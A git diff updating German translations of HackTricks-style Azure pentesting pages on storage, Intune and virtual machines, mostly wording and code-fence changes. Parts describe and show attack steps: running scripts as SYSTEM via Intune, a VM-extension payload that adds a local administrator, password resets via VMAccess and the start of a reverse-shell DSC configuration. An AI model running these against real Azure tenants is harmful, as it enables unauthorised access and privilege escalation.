Netzwerk. **Blob-Speicheroptionen**: -- **Erlaube die Replikation über Mandanten hinweg** -- **Zugriffsebene**: Hot (häufig auf Daten zugegriffen), Cool und Cold (selten auf Daten zugegriffen) +- **Erlaube die Replikation über Mandanten hinweg**. +- **Zugriffsebene**: Hot (häufig auf Daten zugreifen), Cool und Cold (selten auf Daten zugreifen). **Netzwerkoptionen**: - **Netzwerkzugriff**: -- Erlauben von allen Netzwerken -- Erlauben von ausgewählten virtuellen Netzwerken und IP-Adressen -- Öffentlichen Zugriff deaktivieren und privaten Zugriff verwenden -- **Private Endpunkte**: Ermöglicht eine private Verbindung zum Speicherkonto von einem virtuellen Netzwerk +- Erlauben von allen Netzwerken. +- Erlauben von ausgewählten virtuellen Netzwerken und IP-Adressen. +- Öffentlichen Zugriff deaktivieren und privaten Zugriff verwenden. +- **Private Endpunkte**: Ermöglicht eine private Verbindung zum Speicherkonto von einem virtuellen Netzwerk. **Datenschutzoptionen**: - **Wiederherstellung zu einem bestimmten Zeitpunkt für Container**: Ermöglicht die Wiederherstellung von Containern in einen früheren Zustand. -- Es erfordert, dass Versionierung, Änderungsfeed und Blob-Weichlöschung aktiviert sind. +- Es erfordert, dass Versionierung, Änderungsprotokoll und Blob-Weichlöschung aktiviert sind. - **Weichlöschung für Blobs aktivieren**: Es ermöglicht einen Aufbewahrungszeitraum in Tagen für gelöschte Blobs (auch überschrieben). - **Weichlöschung für Container aktivieren**: Es ermöglicht einen Aufbewahrungszeitraum in Tagen für gelöschte Container. - **Weichlöschung für Dateifreigaben aktivieren**: Es ermöglicht einen Aufbewahrungszeitraum in Tagen für gelöschte Dateifreigaben. - **Versionierung für Blobs aktivieren**: Behalten Sie frühere Versionen Ihrer Blobs. -- **Blob-Änderungsfeed aktivieren**: Protokollieren Sie Erstellungs-, Änderungs- und Löschänderungen an Blobs. +- **Blob-Änderungsprotokoll aktivieren**: Protokollieren Sie Erstellungs-, Änderungs- und Löschänderungen an Blobs. - **Unterstützung für Unveränderlichkeit auf Versionsebene aktivieren**: Ermöglicht es Ihnen, eine zeitbasierte Aufbewahrungsrichtlinie auf Kontoebene festzulegen, die für alle Blob-Versionen gilt. - Unterstützung für Unveränderlichkeit auf Versionsebene und Wiederherstellung zu einem bestimmten Zeitpunkt für Container können nicht gleichzeitig aktiviert werden. **Verschlüsselungskonfigurationsoptionen**: -- **Verschlüsselungstyp**: Es ist möglich, Microsoft-verwaltete Schlüssel (MMK) oder vom Kunden verwaltete Schlüssel (CMK) zu verwenden. +- **Verschlüsselungstyp**: Es ist möglich, Microsoft-managed keys (MMK) oder Customer-managed keys (CMK) zu verwenden. - **Infrastrukturverschlüsselung aktivieren**: Ermöglicht die doppelte Verschlüsselung der Daten "für mehr Sicherheit". ### Speicherendpunkte -
SpeicherdienstEndpunkt
Blob-Speicherhttps://<storage-account>.blob.core.windows.net

https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list
Data Lake Storagehttps://<storage-account>.dfs.core.windows.net
Azure Fileshttps://<storage-account>.file.core.windows.net
Warteschlangen-Speicherhttps://<storage-account>.queue.core.windows.net
Tabellenspeicherhttps://<storage-account>.table.core.windows.net
+
SpeicherdienstEndpunkt
Blob-Speicherhttps://.blob.core.windows.net

https://.blob.core.windows.net/?restype=container&comp=list
Data Lake Storagehttps://.dfs.core.windows.net
Azure Fileshttps://.file.core.windows.net
Warteschlangen-Speicherhttps://.queue.core.windows.net
Tabellen-Speicherhttps://.table.core.windows.net
### Öffentliche Exposition Wenn "Öffentlichen Zugriff auf Blobs erlauben" **aktiviert** ist (standardmäßig deaktiviert), ist es beim Erstellen eines Containers möglich: - **Öffentlichen Zugriff auf Blobs zu gewähren** (Sie müssen den Namen kennen). -- **Containerblobs aufzulisten** und **sie zu lesen**. -- Es vollständig **privat zu machen**. +- **Container-Blobs aufzulisten** und **sie zu lesen**. +- Es vollständig **privat** zu machen.
@@ -81,17 +81,17 @@ Die Speicherkonten haben Zugriffsschlüssel, die verwendet werden können, um da
-### **Geteilte Schlüssel & Lite Geteilte Schlüssel** +### **Shared Keys & Lite Shared Keys** -Es ist möglich, [**geteilte Schlüssel zu generieren**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key), die mit den Zugriffsschlüsseln signiert sind, um den Zugriff auf bestimmte Ressourcen über eine signierte URL zu autorisieren. +Es ist möglich, [**Shared Keys zu generieren**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key), die mit den Zugriffsschlüsseln signiert sind, um den Zugriff auf bestimmte Ressourcen über eine signierte URL zu autorisieren. > [!NOTE] -> Beachten Sie, dass der Teil `CanonicalizedResource` die Ressource der Speicher Dienste (URI) darstellt. Und wenn ein Teil der URL codiert ist, sollte er auch innerhalb des `CanonicalizedResource` codiert werden. +> Beachten Sie, dass der Teil `CanonicalizedResource` die Ressource der Speicher Dienste (URI) darstellt. Und wenn ein Teil der URL codiert ist, sollte er auch im `CanonicalizedResource` codiert werden. > [!NOTE] > Dies wird **standardmäßig von `az` cli** verwendet, um Anfragen zu authentifizieren. Um die Anmeldeinformationen des Entra ID-Prinzips zu verwenden, geben Sie den Parameter `--auth-mode login` an. -- Es ist möglich, einen **geteilten Schlüssel für Blob-, Warteschlangen- und Dateidienste** zu generieren, indem die folgenden Informationen signiert werden: +- Es ist möglich, einen **Shared Key für Blob-, Warteschlangen- und Dateidienste** zu generieren, indem die folgenden Informationen signiert werden: ```bash StringToSign = VERB + "\n" + Content-Encoding + "\n" + @@ -108,7 +108,7 @@ Range + "\n" + CanonicalizedHeaders + CanonicalizedResource; ``` -- Es ist möglich, einen **shared key für die Tabellendienste** zu generieren, indem die folgenden Informationen signiert werden: +- Es ist möglich, einen **gemeinsamen Schlüssel für Tabellenservices** zu generieren, indem die folgenden Informationen signiert werden: ```bash StringToSign = VERB + "\n" + Content-MD5 + "\n" + @@ -125,12 +125,12 @@ Date + "\n" + CanonicalizedHeaders + CanonicalizedResource; ``` -- Es ist möglich, einen **lite shared key für Table-Dienste** zu generieren, indem die folgenden Informationen signiert werden: +- Es ist möglich, einen **lite shared key für Tabellenservices** zu generieren, indem die folgenden Informationen signiert werden: ```bash StringToSign = Date + "\n" CanonicalizedResource ``` -Dann kann der Schlüssel im Authorization-Header unter Verwendung der Syntax verwendet werden: +Dann kann der Schlüssel im Authorization-Header gemäß der Syntax verwendet werden: ```bash Authorization="[SharedKey|SharedKeyLite] :" #e.g. @@ -148,16 +148,16 @@ Shared Access Signatures (SAS) sind sichere, zeitlich begrenzte URLs, die **spez #### SAS-Typen -- **User delegation SAS**: Dies wird von einem **Entra ID-Prinzipal** erstellt, der die SAS signiert und die Berechtigungen vom Benutzer an die SAS delegiert. Es kann nur mit **Blob- und Data Lake Storage** verwendet werden ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Es ist möglich, alle generierten benutzergestützten SAS zu **widerrufen**. -- Auch wenn es möglich ist, eine Delegation SAS mit "mehr" Berechtigungen zu generieren als die, die der Benutzer hat. Wenn der Prinzipal diese jedoch nicht hat, funktioniert es nicht (kein Privesc). +- **Benutzerdelegation SAS**: Dies wird von einem **Entra ID-Prinzipal** erstellt, der die SAS signiert und die Berechtigungen vom Benutzer an die SAS delegiert. Es kann nur mit **Blob- und Data Lake Storage** verwendet werden ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Es ist möglich, alle generierten benutzergestützten SAS zu **widerrufen**. +- Auch wenn es möglich ist, eine Delegation SAS mit "mehr" Berechtigungen zu generieren, als der Benutzer hat. Wenn der Prinzipal diese jedoch nicht hat, funktioniert es nicht (kein Privesc). - **Service SAS**: Dies wird mit einem der **Zugriffsschlüssel** des Speicherkontos signiert. Es kann verwendet werden, um den Zugriff auf spezifische Ressourcen in einem einzelnen Speicherdienst zu gewähren. Wenn der Schlüssel erneuert wird, funktioniert die SAS nicht mehr. -- **Account SAS**: Es wird ebenfalls mit einem der **Zugriffsschlüssel** des Speicherkontos signiert. Es gewährt Zugriff auf Ressourcen über die Dienste eines Speicherkontos (Blob, Queue, Table, File) und kann dienstebezogene Operationen umfassen. +- **Konto SAS**: Es wird ebenfalls mit einem der **Zugriffsschlüssel** des Speicherkontos signiert. Es gewährt Zugriff auf Ressourcen über die Dienste eines Speicherkontos (Blob, Queue, Table, File) und kann dienstebezogene Operationen umfassen. -Eine von einem **Zugriffsschlüssel** signierte SAS-URL sieht so aus: +Eine SAS-URL, die mit einem **Zugriffsschlüssel** signiert ist, sieht so aus: - `https://.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D` -Eine als **User Delegation** signierte SAS-URL sieht so aus: +Eine SAS-URL, die als **Benutzerdelegation** signiert ist, sieht so aus: - `https://.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D` @@ -186,7 +186,7 @@ Azure Blob Storage unterstützt jetzt das SSH File Transfer Protocol (SFTP), das - Granulare Berechtigungen: Berechtigungen wie Lesen, Schreiben, Löschen und Auflisten können lokalen Benutzern für bis zu 100 Container zugewiesen werden. - Netzwerküberlegungen: SFTP-Verbindungen erfolgen über Port 22. Azure unterstützt Netzwerkkonfigurationen wie Firewalls, private Endpunkte oder virtuelle Netzwerke, um den SFTP-Verkehr abzusichern. -### Einrichtungsvoraussetzungen +### Einrichtungsanforderungen - Hierarchischer Namensraum: HNS muss beim Erstellen des Speicherkontos aktiviert sein. - Unterstützte Verschlüsselung: Erfordert von Microsoft genehmigte kryptografische Algorithmen (z. B. rsa-sha2-256, ecdsa-sha2-nistp256). @@ -197,14 +197,14 @@ Azure Blob Storage unterstützt jetzt das SSH File Transfer Protocol (SFTP), das ### Berechtigungen -| Berechtigung | Symbol | Beschreibung | -| ---------------------- | ------ | ------------------------------------ | -| **Lesen** | `r` | Dateiinhalt lesen. | -| **Schreiben** | `w` | Dateien hochladen und Verzeichnisse erstellen. | -| **Auflisten** | `l` | Inhalte von Verzeichnissen auflisten. | -| **Löschen** | `d` | Dateien oder Verzeichnisse löschen. | -| **Erstellen** | `c` | Dateien oder Verzeichnisse erstellen. | -| **Besitz ändern** | `o` | Den besitzenden Benutzer oder die Gruppe ändern. | +| Berechtigung | Symbol | Beschreibung | +| --------------------- | ------ | ------------------------------------ | +| **Lesen** | `r` | Dateiinhalte lesen. | +| **Schreiben** | `w` | Dateien hochladen und Verzeichnisse erstellen. | +| **Auflisten** | `l` | Inhalte von Verzeichnissen auflisten. | +| **Löschen** | `d` | Dateien oder Verzeichnisse löschen. | +| **Erstellen** | `c` | Dateien oder Verzeichnisse erstellen. | +| **Besitz ändern** | `o` | Den besitzenden Benutzer oder die Gruppe ändern. | | **Berechtigungen ändern** | `p` | ACLs für Dateien oder Verzeichnisse ändern. | ## Enumeration @@ -330,7 +330,7 @@ az storage account local-user list \ {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get storage accounts Get-AzStorageAccount | fl # Get rules to access the storage account @@ -402,7 +402,7 @@ az-file-shares.md ../az-privilege-escalation/az-storage-privesc.md {{#endref}} -## Post-Exploitation +## Nach der Ausnutzung {{#ref}} ../az-post-exploitation/az-blob-storage-post-exploitation.md diff --git a/src/pentesting-cloud/azure-security/az-services/az-table-storage.md b/src/pentesting-cloud/azure-security/az-services/az-table-storage.md index 09716da8a..22202ea36 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-table-storage.md +++ b/src/pentesting-cloud/azure-security/az-services/az-table-storage.md @@ -4,7 +4,7 @@ ## Grundinformationen -**Azure Table Storage** ist ein NoSQL-Key-Value-Speicher, der für die Speicherung großer Mengen strukturierter, nicht-relationaler Daten entwickelt wurde. Es bietet hohe Verfügbarkeit, niedrige Latenz und Skalierbarkeit, um große Datensätze effizient zu verarbeiten. Daten sind in Tabellen organisiert, wobei jede Entität durch einen Partition Key und einen Row Key identifiziert wird, was schnelle Abfragen ermöglicht. Es unterstützt Funktionen wie Verschlüsselung im Ruhezustand, rollenbasierte Zugriffskontrolle und gemeinsame Zugriffssignaturen für sicheren, verwalteten Speicher, der für eine Vielzahl von Anwendungen geeignet ist. +**Azure Table Storage** ist ein NoSQL-Key-Value-Speicher, der für die Speicherung großer Mengen strukturierter, nicht-relationaler Daten konzipiert ist. Er bietet hohe Verfügbarkeit, niedrige Latenz und Skalierbarkeit, um große Datensätze effizient zu verarbeiten. Daten sind in Tabellen organisiert, wobei jede Entität durch einen Partition Key und einen Row Key identifiziert wird, was schnelle Abfragen ermöglicht. Es unterstützt Funktionen wie Verschlüsselung im Ruhezustand, rollenbasierte Zugriffskontrolle und Shared Access Signatures für sicheren, verwalteten Speicher, der für eine Vielzahl von Anwendungen geeignet ist. Es **gibt keinen integrierten Backup-Mechanismus** für den Tabellenspeicher. @@ -18,11 +18,11 @@ Es **gibt keinen integrierten Backup-Mechanismus** für den Tabellenspeicher. #### **RowKey** - Der **RowKey ist der eindeutige Identifikator** für eine Entität innerhalb einer Partition. In Kombination mit dem PartitionKey stellt er sicher, dass jede Entität in der Tabelle einen global eindeutigen Identifikator hat. -- Beispiel: Für die `"HR"`-Partition könnte der `RowKey` eine Mitarbeiter-ID sein, z.B. `"12345"`. +- Beispiel: Für die Partition `"HR"` könnte der `RowKey` eine Mitarbeiter-ID sein, z.B. `"12345"`. #### **Weitere Eigenschaften (Benutzerdefinierte Eigenschaften)** -- Neben dem PartitionKey und RowKey kann eine Entität zusätzliche **benutzerdefinierte Eigenschaften zur Datenspeicherung** haben. Diese sind benutzerdefiniert und fungieren wie Spalten in einer traditionellen Datenbank. +- Neben dem PartitionKey und RowKey kann eine Entität zusätzliche **benutzerdefinierte Eigenschaften zur Speicherung von Daten** haben. Diese sind benutzerdefiniert und fungieren wie Spalten in einer traditionellen Datenbank. - Eigenschaften werden als **Schlüssel-Wert-Paare** gespeichert. - Beispiel: `Name`, `Alter`, `Titel` könnten benutzerdefinierte Eigenschaften für einen Mitarbeiter sein. @@ -63,7 +63,7 @@ az storage entity merge \ ``` {{#endtab}} {{#tab name="PowerShell"}} -```powershell +```bash # Get storage accounts Get-AzStorageAccount diff --git a/src/pentesting-cloud/azure-security/az-services/intune.md b/src/pentesting-cloud/azure-security/az-services/intune.md index 27aa912c4..7236406af 100644 --- a/src/pentesting-cloud/azure-security/az-services/intune.md +++ b/src/pentesting-cloud/azure-security/az-services/intune.md @@ -2,15 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -## Grundinformationen +## Grundlegende Informationen -Microsoft Intune ist darauf ausgelegt, den Prozess des **App- und Gerätemanagements** zu optimieren. Die Funktionen erstrecken sich über eine Vielzahl von Geräten, einschließlich mobiler Geräte, Desktop-Computer und virtueller Endpunkte. Die Kernfunktionalität von Intune dreht sich um **das Verwalten des Benutzerzugriffs und die Vereinfachung der Verwaltung von Anwendungen** und Geräten innerhalb des Netzwerks einer Organisation. +Microsoft Intune ist darauf ausgelegt, den Prozess des **App- und Gerätemanagements** zu optimieren. Die Funktionen erstrecken sich über eine Vielzahl von Geräten, einschließlich mobiler Geräte, Desktop-Computer und virtueller Endpunkte. Die Kernfunktionalität von Intune dreht sich um **die Verwaltung des Benutzerzugriffs und die Vereinfachung der Verwaltung von Anwendungen** und Geräten innerhalb des Netzwerks einer Organisation. ## Cloud -> On-Prem Ein Benutzer mit der Rolle **Global Administrator** oder **Intune Administrator** kann **PowerShell**-Skripte auf jedem **registrierten Windows**-Gerät ausführen.\ Das **Skript** wird mit **Rechten** von **SYSTEM** auf dem Gerät nur einmal ausgeführt, wenn es sich nicht ändert, und von Intune aus ist es **nicht möglich, die Ausgabe** des Skripts zu sehen. -```powershell +```bash Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'" ``` 1. Melden Sie sich bei [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) an oder verwenden Sie Pass-The-PRT. diff --git a/src/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md index 49ad95111..4d231e4c1 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/README.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md @@ -12,11 +12,11 @@ az-azure-network.md ## Grundinformationen zu VMs -Azure Virtuelle Maschinen (VMs) sind flexible, bedarfsorientierte **cloudbasierte Server, die es Ihnen ermöglichen, Windows- oder Linux-Betriebssysteme auszuführen**. Sie ermöglichen es Ihnen, Anwendungen und Workloads bereitzustellen, ohne physische Hardware verwalten zu müssen. Azure VMs können mit verschiedenen CPU-, Speicher- und Speicheroptionen konfiguriert werden, um spezifische Anforderungen zu erfüllen und sich in Azure-Dienste wie virtuelle Netzwerke, Speicher und Sicherheitswerkzeuge zu integrieren. +Azure Virtuelle Maschinen (VMs) sind flexible, bedarfsorientierte **cloudbasierte Server, die es Ihnen ermöglichen, Windows- oder Linux-Betriebssysteme auszuführen**. Sie ermöglichen die Bereitstellung von Anwendungen und Workloads, ohne physische Hardware verwalten zu müssen. Azure VMs können mit verschiedenen CPU-, Speicher- und Speicheroptionen konfiguriert werden, um spezifische Anforderungen zu erfüllen und sich in Azure-Dienste wie virtuelle Netzwerke, Speicher und Sicherheitstools zu integrieren. ### Sicherheitskonfigurationen -- **Verfügbarkeitszonen**: Verfügbarkeitszonen sind distinct Gruppen von Rechenzentren innerhalb einer bestimmten Azure-Region, die physisch getrennt sind, um das Risiko zu minimieren, dass mehrere Zonen von lokalen Ausfällen oder Katastrophen betroffen sind. +- **Verfügbarkeitszonen**: Verfügbarkeitszonen sind unterschiedliche Gruppen von Rechenzentren innerhalb einer bestimmten Azure-Region, die physisch getrennt sind, um das Risiko zu minimieren, dass mehrere Zonen von lokalen Ausfällen oder Katastrophen betroffen sind. - **Sicherheitstyp**: - **Standard-Sicherheit**: Dies ist der Standard-Sicherheitstyp, der keine spezifische Konfiguration erfordert. - **Vertrauenswürdiger Start**: Dieser Sicherheitstyp verbessert den Schutz gegen Bootkits und Malware auf Kernel-Ebene durch die Verwendung von Secure Boot und Virtual Trusted Platform Module (vTPM). @@ -29,7 +29,7 @@ Azure Virtuelle Maschinen (VMs) sind flexible, bedarfsorientierte **cloudbasiert - **Basis**: Ermöglicht das einfache Öffnen der eingehenden Ports HTTP (80), HTTPS (443), SSH (22), RDP (3389) - **Erweitert**: Wählen Sie eine Sicherheitsgruppe aus - **Backup**: Es ist möglich, **Standard**-Backup (einmal täglich) und **Erweitert** (mehrmals täglich) zu aktivieren -- **Patch-Orchestrierungsoptionen**: Dies ermöglicht es, automatisch Patches in den VMs gemäß der ausgewählten Richtlinie anzuwenden, wie in den [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching) beschrieben. +- **Patch-Orchestrierungsoptionen**: Dies ermöglicht das automatische Anwenden von Patches in den VMs gemäß der ausgewählten Richtlinie, wie in den [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching) beschrieben. - **Benachrichtigungen**: Es ist möglich, automatisch Benachrichtigungen per E-Mail oder mobile App zu erhalten, wenn etwas in der VM passiert. Standardregeln: - Prozentsatz CPU ist größer als 80% - Verfügbare Speicherbytes sind weniger als 1 GB @@ -38,17 +38,17 @@ Azure Virtuelle Maschinen (VMs) sind flexible, bedarfsorientierte **cloudbasiert - Netzwerk insgesamt ist größer als 500 GB - Netzwerk aus insgesamt ist größer als 200 GB - VmAvailabilityMetric ist weniger als 1 -- **Gesundheitsmonitor**: Standardmäßig wird das Protokoll HTTP an Port 80 überprüft +- **Gesundheitsmonitor**: Standardmäßig wird das Protokoll HTTP auf Port 80 überprüft - **Sperren**: Es ermöglicht, eine VM zu sperren, sodass sie nur gelesen werden kann (**ReadOnly**-Sperre) oder sie kann gelesen und aktualisiert, aber nicht gelöscht werden (**CanNotDelete**-Sperre). - Die meisten VM-bezogenen Ressourcen **unterstützen ebenfalls Sperren** wie Festplatten, Snapshots... -- Sperren können auch auf **Ressourcengruppen- und Abonnementebene** angewendet werden +- Sperren können auch auf **Ressourcengruppen- und Abonnementebene** angewendet werden. ## Festplatten & Snapshots - Es ist möglich, **eine Festplatte an 2 oder mehr VMs anzuhängen** - Standardmäßig ist jede Festplatte **verschlüsselt** mit einem Plattformschlüssel. - Gleiches gilt für Snapshots -- Standardmäßig ist es möglich, **die Festplatte aus allen Netzwerken zu teilen**, aber sie kann auch auf bestimmte **private Zugriffe** **beschränkt** oder der öffentliche und private Zugriff **vollständig deaktiviert** werden. +- Standardmäßig ist es möglich, **die Festplatte aus allen Netzwerken zu teilen**, aber sie kann auch auf bestimmte **private Zugriffe** oder auf **vollständige Deaktivierung** des öffentlichen und privaten Zugriffs **beschränkt** werden. - Gleiches gilt für Snapshots - Es ist möglich, eine **SAS-URI** (maximal 60 Tage) zu **generieren, um die Festplatte zu exportieren**, die so konfiguriert werden kann, dass sie eine Authentifizierung erfordert oder nicht - Gleiches gilt für Snapshots @@ -64,7 +64,7 @@ az disk show --name --resource-group ``` {{#endtab}} {{#tab name="PowerShell"}} -```powershell +```bash # List all disks Get-AzDisk @@ -76,10 +76,10 @@ Get-AzDisk -Name -ResourceGroupName ## Bilder, Galerie-Bilder & Wiederherstellungspunkte -Ein **VM-Image** ist eine Vorlage, die das Betriebssystem, die Anwendungseinstellungen und das Dateisystem enthält, die benötigt werden, um **eine neue virtuelle Maschine (VM)** zu erstellen. Der Unterschied zwischen einem Image und einem Festplattensnapshot besteht darin, dass ein Festplattensnapshot eine schreibgeschützte, zeitpunktbezogene Kopie einer einzelnen verwalteten Festplatte ist, die hauptsächlich für Backup oder Fehlersuche verwendet wird, während ein Image **mehrere Festplatten enthalten kann und als Vorlage für die Erstellung neuer VMs dient**.\ +Ein **VM-Image** ist eine Vorlage, die das Betriebssystem, die Anwendungseinstellungen und das Dateisystem enthält, die benötigt werden, um **eine neue virtuelle Maschine (VM)** zu **erstellen**. Der Unterschied zwischen einem Image und einem Festplattensnapshot besteht darin, dass ein Festplattensnapshot eine schreibgeschützte, zeitpunktbezogene Kopie einer einzelnen verwalteten Festplatte ist, die hauptsächlich für Backup oder Fehlersuche verwendet wird, während ein Image **mehrere Festplatten enthalten kann und als Vorlage für die Erstellung neuer VMs** dient.\ Bilder können im **Bilder-Bereich** von Azure oder in **Azure-Compute-Galerien** verwaltet werden, die es ermöglichen, **Versionen** zu erstellen und das Image tenantübergreifend zu **teilen** oder sogar öffentlich zu machen. -Ein **Wiederherstellungspunkt** speichert die VM-Konfiguration und **zeitpunktbezogene** anwendungs-konsistente **Snapshots aller verwalteten Festplatten**, die an die VM angeschlossen sind. Er ist mit der VM verbunden und hat den Zweck, diese VM auf den Zustand zu bringen, in dem sie zu diesem spezifischen Zeitpunkt war. +Ein **Wiederherstellungspunkt** speichert die VM-Konfiguration und **zeitpunktbezogene** anwendungskonsistente **Snapshots aller verwalteten Festplatten**, die an die VM angeschlossen sind. Er ist mit der VM verbunden und hat den Zweck, diese VM auf den Zustand zu bringen, in dem sie sich zu diesem spezifischen Zeitpunkt befand. {{#tabs}} {{#tab name="az cli"}} @@ -116,7 +116,7 @@ az restore-point collection show --collection-name --resource- ``` {{#endtab}} {{#tab name="PowerShell"}} -```powershell +```bash ## List all galleries and get info about one Get-AzGallery Get-AzGallery -Name -ResourceGroupName @@ -144,15 +144,15 @@ Get-AzRestorePointCollection -Name -ResourceGroupName -ResourceGroupName Azure VM-Erweiterungen sind kleine Anwendungen, die **Konfiguration nach der Bereitstellung** und Automatisierungsaufgaben auf Azure-virtuellen Maschinen (VMs) bereitstellen. -Dies würde es ermöglichen, **beliebigen Code innerhalb von VMs auszuführen**. +Dies würde es ermöglichen, **willkürlichen Code innerhalb von VMs auszuführen**. Die erforderliche Berechtigung ist **`Microsoft.Compute/virtualMachines/extensions/write`**. @@ -450,7 +450,7 @@ az vm extension image list --publisher "Site24x7" --output table ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # It takes some mins to run Get-AzVMExtensionImage -Location -PublisherName -Type ``` @@ -523,7 +523,7 @@ az vm extension set \ Sie könnten auch andere Payloads ausführen wie: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` - Passwort zurücksetzen mit der VMAccess-Erweiterung -```powershell +```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred @@ -539,8 +539,8 @@ Die erforderliche Berechtigung ist weiterhin **`Microsoft.Compute/virtualMachine VMAccess-Erweiterung -Diese Erweiterung ermöglicht es, das Passwort (oder zu erstellen, wenn es nicht existiert) von Benutzern in Windows-VMs zu ändern. -```powershell +Diese Erweiterung ermöglicht es, das Passwort von Benutzern innerhalb von Windows-VMs zu ändern (oder zu erstellen, wenn es nicht existiert). +```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred @@ -551,8 +551,8 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na DesiredStateConfiguration (DSC) -Dies ist eine **VM-Erweiterung**, die zu Microsoft gehört und PowerShell DSC verwendet, um die Konfiguration von Azure Windows-VMs zu verwalten. Daher kann sie verwendet werden, um **willkürliche Befehle** in Windows-VMs über diese Erweiterung auszuführen: -```powershell +Dies ist eine **VM-Erweiterung**, die zu Microsoft gehört und PowerShell DSC verwendet, um die Konfiguration von Azure Windows-VMs zu verwalten. Daher kann sie verwendet werden, um **beliebige Befehle** in Windows-VMs über diese Erweiterung auszuführen: +```bash # Content of revShell.ps1 Configuration RevShellConfig { Node localhost { @@ -617,17 +617,17 @@ az sig list --resource-group --output table # List all apps in a fallery az sig gallery-application list --gallery-name --resource-group --output table ``` -Dies sind die Pfade, wo die Anwendungen im Dateisystem heruntergeladen werden: +Diese sind die Pfade, wo die Anwendungen im Dateisystem heruntergeladen werden: - Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux//` - Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\\` -Überprüfen Sie, wie Sie neue Anwendungen installieren können in [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli) +Überprüfen Sie, wie man neue Anwendungen installiert in [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli) > [!CAUTION] > Es ist möglich, **einzelne Apps und Galerien mit anderen Abonnements oder Mandanten zu teilen**. Was sehr interessant ist, da es einem Angreifer ermöglichen könnte, eine Anwendung zu hintertüren und zu anderen Abonnements und Mandanten zu pivotieren. -Aber es **gibt keinen "Marktplatz" für VM-Apps**, wie es ihn für Erweiterungen gibt. +Aber es **gibt keinen "Marktplatz" für VM-Apps** wie es für Erweiterungen gibt. Die erforderlichen Berechtigungen sind: @@ -725,13 +725,13 @@ Dies sind **persistente Daten**, die jederzeit vom Metadaten-Endpunkt abgerufen ### Benutzerspezifische Daten -Es ist möglich, einige Daten an die VM zu übergeben, die an erwarteten Pfaden gespeichert werden: +Es ist möglich, einige Daten an die VM zu übergeben, die an den erwarteten Pfaden gespeichert werden: - In **Windows** werden benutzerspezifische Daten in `%SYSTEMDRIVE%\AzureData\CustomData.bin` als Binärdatei abgelegt und nicht verarbeitet. - In **Linux** wurden sie in `/var/lib/waagent/ovf-env.xml` gespeichert und jetzt werden sie in `/var/lib/waagent/CustomData/ovf-env.xml` gespeichert. - **Linux-Agent**: Er verarbeitet benutzerspezifische Daten standardmäßig nicht, ein benutzerdefiniertes Image mit aktivierten Daten ist erforderlich. - **cloud-init:** Standardmäßig verarbeitet es benutzerspezifische Daten, und diese Daten können in [**verschiedenen Formaten**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html) vorliegen. Es könnte ein Skript einfach ausführen, indem man nur das Skript in den benutzerspezifischen Daten sendet. -- Ich habe versucht, dass sowohl Ubuntu als auch Debian das Skript ausführen, das Sie hier platzieren. +- Ich habe versucht, dass sowohl Ubuntu als auch Debian das Skript ausführen, das Sie hier eingeben. - Es ist auch nicht erforderlich, Benutzerdaten zu aktivieren, damit dies ausgeführt wird. ```bash #!/bin/sh diff --git a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md index abc09b6a9..31a7a0347 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md @@ -1,4 +1,4 @@ -# Az - Azure Netzwerk +# Az - Azure Network {{#include ../../../../banners/hacktricks-training.md}} @@ -9,10 +9,10 @@ Darüber hinaus ist es möglich, VNets mit anderen VNets und mit lokalen Netzwer ## Virtuelles Netzwerk (VNET) & Subnetze -Ein Azure Virtuelles Netzwerk (VNet) ist eine Darstellung Ihres eigenen Netzwerks 